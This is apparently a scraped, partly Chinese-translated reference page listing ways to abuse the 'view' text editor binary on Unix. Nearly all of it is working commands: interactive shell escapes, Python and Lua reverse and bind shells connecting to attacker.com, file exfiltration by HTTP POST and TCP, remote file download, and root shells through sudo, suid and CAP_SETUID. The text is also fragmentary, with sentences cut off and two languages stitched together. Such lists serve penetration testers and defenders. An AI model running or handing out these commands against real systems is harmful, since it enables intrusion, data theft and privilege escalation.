用来生成一个交互式的系统shell。
view -c ':!/bin/sh'
view
:set shell=/bin/sh
:shell
This requires that view
is compiled with Python support. Prepend :py3
for Python 3. view -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
This requires that view
is compiled with Lua support. view -c ':lua os.execute("reset; exec sh")'
向监听的端口发送反向shell,以打开远程网络访问。
socat file:`tty`,raw,echo=0 tcp-listen:12345
on the attacker box to receive the shell. export RHOST=attacker.com
export RPORT=12345
view -c ':py import vim,sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
vim.command(":q!")'
向监听端口发送一个非交互式反向shell。
在攻击者机器上运行nc -l -p 12345以接收shell。
nc -l -p 12345
on the attacker box to receive the shell. This requires that `view` is compiled with Lua support and that `lua-socket` is installed. export RHOST=attacker.com
export RPORT=12345
view -c ':lua local s=require("socket"); local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
while true do
local r,x=t:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();'
将一个非交互式的shell监听到本地端口,以允许远程网络访问。
运行 nc target.com 12345 来连接到该shell。
nc target.com 12345
on the attacker box to connect to the shell. This requires that view
is compiled with Lua support and that lua-socket
is installed. export LPORT=12345
view -c ':lua local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
while true do
local r,x=c:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();'
上传文件到外部。
view
is compiled with Python support. Prepend :py3
for Python 3. Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. export URL=http://attacker.com/
export LFILE=要发送的文件
view -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))
vim.command(":q!")'
This requires that view
is compiled with Python support. Prepend :py3
for Python 3. Serve files in the local folder running an HTTP server. export LPORT=8888
view -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()
vim.command(":q!")'
Send a local file via TCP. Run nc -l -p 12345 > "file_to_save"
on the attacker box to collect the file. This requires that view
is compiled with Lua support and that lua-socket
is installed. export RHOST=attacker.com
export RPORT=12345
export LFILE=要发送的文件
view -c ':lua local f=io.open(os.getenv("LFILE"), 'rb')
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
t:send(d);
t:close();'
下载远程文件。
view
is compiled with Python support. Prepend :py3
for Python 3. Fetch a remote file via HTTP GET request. export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
view -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])
vim.command(":q!")'
Fetch a remote file via TCP. Run nc target.com 12345 < "要发送的文件"
on the attacker box to send the file. This requires that view
is compiled with Lua support and that lua-socket
is installed. export LPORT=12345
export LFILE=file_to_save
view -c ':lua local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open(os.getenv("LFILE"), "wb");
f:write(d);
io.close(f);'
将数据写入文件中。
view 要写入的文件
iDATA
^[
w!
从文件中读取数据。
view 要读取的文件路径
加载共享库,这些共享库可以被用来在二进制文件的执行上下文中运行代码。
view
is compiled with Python support. Prepend :py3
for Python 3. view -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary("lib.so"); vim.command(":q!")'
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
view
is compiled with Python support. Prepend :py3
for Python 3. ./view -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo view -c ':!/bin/sh'
This requires that view
is compiled with Python support. Prepend :py3
for Python 3. sudo view -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
This requires that view
is compiled with Lua support. sudo view -c ':lua os.execute("reset; exec sh")'
如果二进制文件具有设置的 Linux CAP_SETUID 能力,或者由另一个具有该能力的二进制文件执行,它可以被用作后门,通过操纵自身的进程 UID 来维持特权访问。
view
is compiled with Python support. Prepend :py3
for Python 3. ./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
view
is compiled with Lua support. ./view -c ':lua os.execute("reset; exec sh")'